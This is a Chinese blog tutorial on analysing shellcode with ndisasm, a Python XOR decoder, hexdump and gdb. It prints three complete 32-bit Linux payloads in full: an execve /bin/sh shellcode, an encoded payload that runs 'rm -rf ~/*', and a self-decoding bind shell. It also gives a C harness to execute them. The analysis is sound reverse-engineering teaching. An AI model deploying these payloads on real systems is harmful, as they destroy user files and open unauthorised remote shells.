Shellcode的分析调试技巧
转载请注明出处：http://blog.csdn.net/wangxiaolong_china
下面，我们将分析几个已有的shellcode的功能，通过分析，了解shellcode分析的技巧。
第一个shellcode代码如下：
static char shellcode[]=
"\xeb\x17\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89"
"\xf3\x8d\x4e\x08\x31\xd2\xcd\x80\xe8\xe4\xff\xff\xff\x2f\x62\x69\x6e"
"\x2f\x73\x68\x58";
使用ndisasm反汇编结果如下:
root@linux:~/pentest# echo -ne "\xeb\x17\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x31\xd2\xcd\x80\xe8\xe4\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x58" | ndisasm -u -
00000000 EB17 jmp short 0x19
00000002 5E pop esi
00000003 897608 mov [esi+0x8],esi
00000006 31C0 xor eax,eax
00000008 884607 mov [esi+0x7],al
0000000B 89460C mov [esi+0xc],eax
0000000E B00B mov al,0xb
00000010 89F3 mov ebx,esi
00000012 8D4E08 lea ecx,[esi+0x8]
00000015 31D2 xor edx,edx
00000017 CD80 int 0x80
00000019 E8E4FFFFFF call dword 0x2
0000001E 2F das
0000001F 62696E bound ebp,[ecx+0x6e]
00000022 2F das
00000023 7368 jnc 0x8d
00000025 58 pop eax
root@linux:~/pentest#
可以看出，这是一个执行“/bin/sh”的shellcode。
第二个shellcode代码如下：
char shellcode2[] =
"\xeb\x10\x5e\x31\xc9\xb1\x4b\xb0\xff\x30\x06\xfe\xc8\x46\xe2\xf9"
"\xeb\x05\xe8\xeb\xff\xff\xff\x17\xdb\xfd\xfc\xfb\xd5\x9b\x91\x99"
"\xd9\x86\x9c\xf3\x81\x99\xf0\xc2\x8d\xed\x9e\x86\xca\xc4\x9a\x81"
"\xc6\x9b\xcb\xc9\xc2\xd3\xde\xf0\xba\xb8\xaa\xf4\xb4\xac\xb4\xbb"
"\xd6\x88\xe5\x13\x82\x5c\x8d\xc1\x9d\x40\x91\xc0\x99\x44\x95\xcf"
"\x95\x4c\x2f\x4a\x23\xf0\x12\x0f\xb5\x70\x3c\x32\x79\x88\x78\xf7"
"\x7b\x35";
下面使用ndisasm反汇编，结果如下：
root@linux:~/pentest# echo -ne
"\xeb\x10\x5e\x31\xc9\xb1\x4b\xb0\xff\x30\x06\xfe\xc8\x46\xe2\xf9\xeb\x05\xe8\xeb\xff\xff\xff\x17\xdb\xfd\xfc\xfb\xd5\x9b\x91\x99\xd9\x86\x9c\xf3\x81\x99\xf0\xc2\x8d\xed\x9e\x86\xca\xc4\x9a\x81\xc6\x9b\xcb\xc9\xc2\xd3\xde\xf0\xba\xb8\xaa\xf4\xb4\xac\xb4\xbb\xd6\x88\xe5\x13\x82\x5c\x8d\xc1\x9d\x40\x91\xc0\x99\x44\x95\xcf\x95\x4c\x2f\x4a\x23\xf0\x12\x0f\xb5\x70\x3c\x32\x79\x88\x78\xf7\x7b\x35" | ndisasm -u -
00000000 EB10 jmp short 0x12
00000002 5E pop esi
00000003 31C9 xor ecx,ecx
00000005 B14B mov cl,0x4b
00000007 B0FF mov al,0xff
00000009 3006 xor [esi],al
0000000B FEC8 dec al
0000000D 46 inc esi
0000000E E2F9 loop 0x9
00000010 EB05 jmp short 0x17
00000012 E8EBFFFFFF call dword 0x2
00000017 17 pop ss
00000018 DB db 0xdb
00000019 FD std
0000001A FC cld
0000001B FB sti
0000001C D59B aad 0x9b
0000001E 91 xchg eax,ecx
0000001F 99 cdq
00000020 D9869CF38199 fld dword [esi-0x667e0c64]
00000026 F0C28DED lock ret 0xed8d
0000002A 9E sahf
0000002B 86CA xchg cl,dl
0000002D C49A81C69BCB les ebx,[edx-0x3464397f]
00000033 C9 leave
00000034 C2D3DE ret 0xded3
00000037 F0BAB8AAF4B4 lock mov edx,0xb4f4aab8
0000003D AC lodsb
0000003E B4BB mov ah,0xbb
00000040 D6 salc
00000041 88E5 mov ch,ah
00000043 13825C8DC19D adc eax,[edx-0x623e72a4]
00000049 40 inc eax
0000004A 91 xchg eax,ecx
0000004B C0994495CF954C rcr byte [ecx-0x6a306abc],0x4c
00000052 2F das
00000053 4A dec edx
00000054 23F0 and esi,eax
00000056 120F adc cl,[edi]
00000058 B570 mov ch,0x70
0000005A 3C32 cmp al,0x32
0000005C 7988 jns 0xffffffe6
0000005E 78F7 js 0x57
00000060 7B35 jpo 0x97
root@linux:~/pentest#
接下来，我们将使用一个python脚本和hexdump来分析这个shellcode。
root@linux:~/pentest# cat decode.py
#!/usr/bin/env python
sc = "\xeb\x10\x5e\x31\xc9\xb1\x4b\xb0\xff\x30\x06\xfe\xc8\x46\xe2\xf9" + \
"\xeb\x05\xe8\xeb\xff\xff\xff\x17\xdb\xfd\xfc\xfb\xd5\x9b\x91\x99" + \
"\xd9\x86\x9c\xf3\x81\x99\xf0\xc2\x8d\xed\x9e\x86\xca\xc4\x9a\x81" + \
"\xc6\x9b\xcb\xc9\xc2\xd3\xde\xf0\xba\xb8\xaa\xf4\xb4\xac\xb4\xbb" + \
"\xd6\x88\xe5\x13\x82\x5c\x8d\xc1\x9d\x40\x91\xc0\x99\x44\x95\xcf" + \
"\x95\x4c\x2f\x4a\x23\xf0\x12\x0f\xb5\x70\x3c\x32\x79\x88\x78\xf7" + \
"\x7b\x35"
print "".join([chr((ord(x)^(0xff-i))) for i,x in enumerate(sc[0x17:])])
root@linux:~/pentest# ./decode.py | hexdump -C
00000000 e8 25 00 00 00 2f 62 69 6e 2f 73 68 00 73 68 00 |.%.../bin/sh.sh.|
00000010 2d 63 00 72 6d 20 2d 72 66 20 7e 2f 2a 20 32 3e |-c.rm -rf ~/* 2>|
00000020 2f 64 65 76 2f 6e 75 6c 6c 00 5d 31 c0 50 8d 5d |/dev/null.]1.P.]|
00000030 0e 53 8d 5d 0b 53 8d 5d 08 53 89 eb 89 e1 31 d2 |.S.].S.].S....1.|
00000040 b0 0b cd 80 89 c3 31 c0 40 cd 80 0a |......1.@...|
0000004c
root@linux:~/pentest#
可以看到“/bin/sh”“sh”“rm –rf ~/* 2>/dev/null”几条指令，接下来我们使用ndisasm分析：
root@linux:~/pentest# ./decode.py | ndisasm -u -
00000000 E825000000 call dword 0x2a
00000005 2F das
00000006 62696E bound ebp,[ecx+0x6e]
00000009 2F das
0000000A 7368 jnc 0x74
0000000C 007368 add [ebx+0x68],dh
0000000F 002D6300726D add [dword 0x6d720063],ch
00000015 202D7266207E and [dword 0x7e206672],ch
0000001B 2F das
0000001C 2A20 sub ah,[eax]
0000001E 323E xor bh,[esi]
00000020 2F das
00000021 6465762F gs jna 0x54
00000025 6E outsb
00000026 756C jnz 0x94
00000028 6C insb
00000029 005D31 add [ebp+0x31],bl
0000002C C0508D5D rcl byte [eax-0x73],0x5d
00000030 0E push cs
00000031 53 push ebx
00000032 8D5D0B lea ebx,[ebp+0xb]
00000035 53 push ebx
00000036 8D5D08 lea ebx,[ebp+0x8]
00000039 53 push ebx
0000003A 89EB mov ebx,ebp
0000003C 89E1 mov ecx,esp
0000003E 31D2 xor edx,edx
00000040 B00B mov al,0xb
00000042 CD80 int 0x80
00000044 89C3 mov ebx,eax
00000046 31C0 xor eax,eax
00000048 40 inc eax
00000049 CD80 int 0x80
0000004B 0A db 0x0a
root@linux:~/pentest#
开始几条指令可以改写为：
E825000000 call 0x2a
2F62696E2F736800 db "/bin/sh"
736800 db "sh"
2D6300 db "-c"
726d202D7266207E2F2A20323E2F6465762F6E756C6C00 db "rm -rf ~/* 2>/dev/null"
5D pop ebp
第一条指令为“call 0x2a”，接下来分析一下该指令调用的函数，即只保留0x2a（42）开始的指令的操作码。
root@linux:~/pentest# ./decode.py | cut -c 43- | ndisasm -u -
00000000 5D pop ebp
00000001 31C0 xor eax,eax
00000003 50 push eax
00000004 8D5D0E lea ebx,[ebp+0xe]
00000007 53 push ebx
00000008 8D5D0B lea ebx,[ebp+0xb]
0000000B 53 push ebx
0000000C 8D5D08 lea ebx,[ebp+0x8]
0000000F 53 push ebx
00000010 89EB mov ebx,ebp
00000012 89E1 mov ecx,esp
00000014 31D2 xor edx,edx
00000016 B00B mov al,0xb
00000018 CD80 int 0x80
0000001A 89C3 mov ebx,eax
0000001C 31C0 xor eax,eax
0000001E 40 inc eax
0000001F CD80 int 0x80
00000021 0A db 0x0a
root@linux:~/pentest#
可以看到这是一个execve系统调用，它使用数组“sh”“-c”“rm –rf ~/* 2>/dev/null”作为第二个参数。
这样，该shellcode的功能已经一目了然了。
第三个shellcode代码如下：
char shellcode[] = "\xeb\x11\x5e\x31\xc9\xb1\x65\x80\x74\x0e\xff".
"\x0a\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff".
"\xff\xff\x3b\xca\x3b\xd1\x3b\xd8\x5a\x60\x0b".
"\x60\x08\x83\xeb\xf4\xc9\xba\x6c\xc7\x8a\x83".
"\xcc\x58\x62\xb1\x08\x10\x70\x83\xeb\x60\x1a".
"\x5b\x5c\x83\xeb\xf4\xc9\xba\x6c\xc7\x8a\x58".
"\x5c\x83\xeb\xb9\x0e\xba\x6c\xc7\x8a\x58\x58".
"\x5c\x83\xeb\xf4\xc9\xba\x6c\xc7\x8a\x83\xc9".
"\x3b\xc3\xba\x35\xc7\x8a\x4b\xba\x35\xc7\x8a".
"\x4b\xba\x35\xc7\x8a\x58\x62\x25\x25\x79\x62".
"\x62\x25\x68\x63\x64\x83\xe9\x58\x59\x83\xeb".
"\xba\x01\xc7\x8a";
首先，使用perl输出这个shellcode，然后用ndisasm分析这个shellcode。
root@linux:~/pentest# cat shellcode.pl
#!/usr/bin/perl
$shellcode = "\xeb\x11\x5e\x31\xc9\xb1\x65\x80\x74\x0e\xff".
"\x0a\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff".
"\xff\xff\x3b\xca\x3b\xd1\x3b\xd8\x5a\x60\x0b".
"\x60\x08\x83\xeb\xf4\xc9\xba\x6c\xc7\x8a\x83".
"\xcc\x58\x62\xb1\x08\x10\x70\x83\xeb\x60\x1a".
"\x5b\x5c\x83\xeb\xf4\xc9\xba\x6c\xc7\x8a\x58".
"\x5c\x83\xeb\xb9\x0e\xba\x6c\xc7\x8a\x58\x58".
"\x5c\x83\xeb\xf4\xc9\xba\x6c\xc7\x8a\x83\xc9".
"\x3b\xc3\xba\x35\xc7\x8a\x4b\xba\x35\xc7\x8a".
"\x4b\xba\x35\xc7\x8a\x58\x62\x25\x25\x79\x62".
"\x62\x25\x68\x63\x64\x83\xe9\x58\x59\x83\xeb".
"\xba\x01\xc7\x8a";
open FILE,"> shellcode.bin";
print FILE $shellcode;
close FILE;
root@linux:~/pentest# ./shellcode.pl
root@linux:~/pentest# ndisasm -b32 shellcode.bin
00000000 EB11 jmp short 0x13
00000002 5E pop esi
00000003 31C9 xor ecx,ecx
00000005 B165 mov cl,0x65
00000007 80740EFF0A xor byte [esi+ecx-0x1],0xa
0000000C 80E901 sub cl,0x1
0000000F 75F6 jnz 0x7
00000011 EB05 jmp short 0x18
00000013 E8EAFFFFFF call dword 0x2
00000018 3BCA cmp ecx,edx
0000001A 3BD1 cmp edx,ecx
0000001C 3BD8 cmp ebx,eax
0000001E 5A pop edx
0000001F 60 pushad
00000020 0B6008 or esp,[eax+0x8]
00000023 83EBF4 sub ebx,byte -0xc
00000026 C9 leave
00000027 BA6CC78A83 mov edx,0x838ac76c
0000002C CC int3
0000002D 58 pop eax
0000002E 62B108107083 bound esi,[ecx-0x7c8feff8]
00000034 EB60 jmp short 0x96
00000036 1A5B5C sbb bl,[ebx+0x5c]
00000039 83EBF4 sub ebx,byte -0xc
0000003C C9 leave
0000003D BA6CC78A58 mov edx,0x588ac76c
00000042 5C pop esp
00000043 83EBB9 sub ebx,byte -0x47
00000046 0E push cs
00000047 BA6CC78A58 mov edx,0x588ac76c
0000004C 58 pop eax
0000004D 5C pop esp
0000004E 83EBF4 sub ebx,byte -0xc
00000051 C9 leave
00000052 BA6CC78A83 mov edx,0x838ac76c
00000057 C9 leave
00000058 3BC3 cmp eax,ebx
0000005A BA35C78A4B mov edx,0x4b8ac735
0000005F BA35C78A4B mov edx,0x4b8ac735
00000064 BA35C78A58 mov edx,0x588ac735
00000069 622525796262 bound esp,[dword 0x62627925]
0000006F 2568636483 and eax,0x83646368
00000074 E9585983EB jmp dword 0xeb8359d1
00000079 BA db 0xba
0000007A 01C7 add edi,eax
0000007C 8A db 0x8a
root@linux:~/pentest#
分析一段shellcode的功能，核心的是什么呢？我觉得最核心的是这段shellcode实现的系统调用，因为一旦知道shellcode实现的系统调用，那么整段shellcode的功能便已了然。要知道shellcode实现的系统调用，关键是找到系统调用号，即int 0x80执行之前，eax寄存器中存放的数字。
上面的代码反汇编中，并没有找到int 0x80的踪影。原因在哪里呢？仔细分析这段代码，前几行代码已经给了我们答案：
00000000 EB11 jmp short 0x13
00000002 5E pop esi
00000003 31C9 xor ecx,ecx
00000005 B165 mov cl,0x65
00000007 80740EFF0A xor byte [esi+ecx-0x1],0xa
0000000C 80E901 sub cl,0x1
0000000F 75F6 jnz 0x7
00000011 EB05 jmp short 0x18
00000013 E8EAFFFFFF call dword 0x2
00000018 3BCA cmp ecx,edx
这是一段自修改shellcode。运行后，它调用“xor byte [esi+ecx-0x1],0xa”这条指令，将0x00000018及以后的0x65个字节组成的指令进行译码，生成我们要用到的特定功能的shellcode。
接下来，我们要想知道这段shellcode的功能，就必须要动态的调试这段shellcode。于是我们构造了下面的C调用程序，编译，并用gdb动态的调试这段shellcode。
root@linux:~/pentest# cat shellcode.c
#include <stdio.h>
char shellcode[] = "\xeb\x11\x5e\x31\xc9\xb1\x65\x80\x74\x0e\xff"
"\x0a\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff"
"\xff\xff\x3b\xca\x3b\xd1\x3b\xd8\x5a\x60\x0b"
"\x60\x08\x83\xeb\xf4\xc9\xba\x6c\xc7\x8a\x83"
"\xcc\x58\x62\xb1\x08\x10\x70\x83\xeb\x60\x1a"
"\x5b\x5c\x83\xeb\xf4\xc9\xba\x6c\xc7\x8a\x58"
"\x5c\x83\xeb\xb9\x0e\xba\x6c\xc7\x8a\x58\x58"
"\x5c\x83\xeb\xf4\xc9\xba\x6c\xc7\x8a\x83\xc9"
"\x3b\xc3\xba\x35\xc7\x8a\x4b\xba\x35\xc7\x8a"
"\x4b\xba\x35\xc7\x8a\x58\x62\x25\x25\x79\x62"
"\x62\x25\x68\x63\x64\x83\xe9\x58\x59\x83\xeb"
"\xba\x01\xc7\x8a";
int main(void)
{
(*(void(*)()) shellcode)();
}
root@linux:~/pentest#
root@linux:~/pentest# gcc -fno-stack-protector -z execstack -g -o shellcode shellcode.c
root@linux:~/pentest# gdb shellcode
GNU gdb (Ubuntu/Linaro 7.2-1ubuntu11) 7.2
Copyright (C) 2010 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "i686-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /root/pentest/shellcode...done.
(gdb) disass main
Dump of assembler code for function main:
0x08048394 <+0>: push %ebp
0x08048395 <+1>: mov %esp,%ebp
0x08048397 <+3>: and {1}xfffffff0,%esp
0x0804839a <+6>: mov {1}x804a040,%eax
0x0804839f <+11>: call *%eax
0x080483a1 <+13>: mov %ebp,%esp
0x080483a3 <+15>: pop %ebp
0x080483a4 <+16>: ret
End of assembler dump.
(gdb) disass 0x804a040
Dump of assembler code for function shellcode:
0x0804a040 <+0>: jmp 0x804a053 <shellcode+19>
0x0804a042 <+2>: pop %esi
0x0804a043 <+3>: xor %ecx,%ecx
0x0804a045 <+5>: mov {1}x65,%cl
0x0804a047 <+7>: xorb {1}xa,-0x1(%esi,%ecx,1)
0x0804a04c <+12>: sub {1}x1,%cl
0x0804a04f <+15>: jne 0x804a047 <shellcode+7>
0x0804a051 <+17>: jmp 0x804a058 <shellcode+24>
0x0804a053 <+19>: call 0x804a042 <shellcode+2>
0x0804a058 <+24>: cmp %edx,%ecx
0x0804a05a <+26>: cmp %ecx,%edx
0x0804a05c <+28>: cmp %eax,%ebx
0x0804a05e <+30>: pop %edx
0x0804a05f <+31>: pusha
0x0804a060 <+32>: or 0x8(%eax),%esp
0x0804a063 <+35>: sub {1}xfffffff4,%ebx
0x0804a066 <+38>: leave
0x0804a067 <+39>: mov {1}x838ac76c,%edx
0x0804a06c <+44>: int3
0x0804a06d <+45>: pop %eax
0x0804a06e <+46>: bound %esi,-0x7c8feff8(%ecx)
0x0804a074 <+52>: jmp 0x804a0d6
---Type <return> to continue, or q <return> to quit---
0x0804a076 <+54>: sbb 0x5c(%ebx),%bl
0x0804a079 <+57>: sub {1}xfffffff4,%ebx
0x0804a07c <+60>: leave
0x0804a07d <+61>: mov {1}x588ac76c,%edx
0x0804a082 <+66>: pop %esp
0x0804a083 <+67>: sub {1}xffffffb9,%ebx
0x0804a086 <+70>: push %cs
0x0804a087 <+71>: mov {1}x588ac76c,%edx
0x0804a08c <+76>: pop %eax
0x0804a08d <+77>: pop %esp
0x0804a08e <+78>: sub {1}xfffffff4,%ebx
0x0804a091 <+81>: leave
0x0804a092 <+82>: mov {1}x838ac76c,%edx
0x0804a097 <+87>: leave
0x0804a098 <+88>: cmp %ebx,%eax
0x0804a09a <+90>: mov {1}x4b8ac735,%edx
0x0804a09f <+95>: mov {1}x4b8ac735,%edx
0x0804a0a4 <+100>: mov {1}x588ac735,%edx
0x0804a0a9 <+105>: bound %esp,0x62627925
0x0804a0af <+111>: and {1}x83646368,%eax
0x0804a0b4 <+116>: jmp 0xf387fa11
0x0804a0b9 <+121>: mov {1}x8ac701,%edx
End of assembler dump.
设置断点，并调试这段代码：
(gdb) disass main
Dump of assembler code for function main:
0x08048394 <+0>: push %ebp
0x08048395 <+1>: mov %esp,%ebp
0x08048397 <+3>: and {1}xfffffff0,%esp
0x0804839a <+6>: mov {1}x804a040,%eax
0x0804839f <+11>: call *%eax
0x080483a1 <+13>: mov %ebp,%esp
0x080483a3 <+15>: pop %ebp
0x080483a4 <+16>: ret
End of assembler dump.
(gdb) b *main+16
Breakpoint 2 at 0x80483a4: file shellcode.c, line 20.
(gdb) r
Starting program: /root/pentest/shellcode
^C
Program received signal SIGINT, Interrupt.
0x0804a096 in shellcode ()
(gdb) i r eip
eip 0x804a096 0x804a096 <shellcode+86>
(gdb) disass 0x804a096
Dump of assembler code for function shellcode:
0x0804a040 <+0>: jmp 0x804a053 <shellcode+19>
0x0804a042 <+2>: pop %esi
0x0804a043 <+3>: xor %ecx,%ecx
0x0804a045 <+5>: mov {1}x65,%cl
0x0804a047 <+7>: xorb {1}xa,-0x1(%esi,%ecx,1)
0x0804a04c <+12>: sub {1}x1,%cl
0x0804a04f <+15>: jne 0x804a047 <shellcode+7>
0x0804a051 <+17>: jmp 0x804a058 <shellcode+24>
0x0804a053 <+19>: call 0x804a042 <shellcode+2>
0x0804a058 <+24>: xor %eax,%eax
0x0804a05a <+26>: xor %ebx,%ebx
0x0804a05c <+28>: xor %edx,%edx
0x0804a05e <+30>: push %eax
0x0804a05f <+31>: push {1}x1
0x0804a061 <+33>: push {1}x2
0x0804a063 <+35>: mov %esp,%ecx
0x0804a065 <+37>: inc %bl
0x0804a067 <+39>: mov {1}x66,%al
0x0804a069 <+41>: int {1}x80
0x0804a06b <+43>: mov %eax,%esi
0x0804a06d <+45>: push %edx
0x0804a06e <+46>: push {1}x7a1a02bb
---Type <return> to continue, or q <return> to quit---
0x0804a073 <+51>: mov %esp,%ecx
0x0804a075 <+53>: push {1}x10
0x0804a077 <+55>: push %ecx
0x0804a078 <+56>: push %esi
0x0804a079 <+57>: mov %esp,%ecx
0x0804a07b <+59>: inc %bl
0x0804a07d <+61>: mov {1}x66,%al
0x0804a07f <+63>: int {1}x80
0x0804a081 <+65>: push %edx
0x0804a082 <+66>: push %esi
0x0804a083 <+67>: mov %esp,%ecx
0x0804a085 <+69>: mov {1}x4,%bl
0x0804a087 <+71>: mov {1}x66,%al
0x0804a089 <+73>: int {1}x80
0x0804a08b <+75>: push %edx
0x0804a08c <+76>: push %edx
0x0804a08d <+77>: push %esi
0x0804a08e <+78>: mov %esp,%ecx
0x0804a090 <+80>: inc %bl
0x0804a092 <+82>: mov {1}x66,%al
0x0804a094 <+84>: int {1}x80
=> 0x0804a096 <+86>: mov %eax,%ebx
0x0804a098 <+88>: xor %ecx,%ecx
---Type <return> to continue, or q <return> to quit---
0x0804a09a <+90>: mov {1}x3f,%al
0x0804a09c <+92>: int {1}x80
0x0804a09e <+94>: inc %ecx
0x0804a09f <+95>: mov {1}x3f,%al
0x0804a0a1 <+97>: int {1}x80
0x0804a0a3 <+99>: inc %ecx
0x0804a0a4 <+100>: mov {1}x3f,%al
0x0804a0a6 <+102>: int {1}x80
0x0804a0a8 <+104>: push %edx
0x0804a0a9 <+105>: push {1}x68732f2f
0x0804a0ae <+110>: push {1}x6e69622f
0x0804a0b3 <+115>: mov %esp,%ebx
0x0804a0b5 <+117>: push %edx
0x0804a0b6 <+118>: push %ebx
0x0804a0b7 <+119>: mov %esp,%ecx
0x0804a0b9 <+121>: mov {1}xb,%al
0x0804a0bb <+123>: int {1}x80
0x0804a0bd <+125>: add %al,(%eax)
End of assembler dump.
(gdb)
到这里，我们想要的int 0x80出现了。
系统调用号$0x66对应的是__NR_socketcall，看来是个socket函数。具体的要和功能号相关联查了下应该是socket->bind->listen->accept->dup2->execve。恩，很明显的一个bindshell！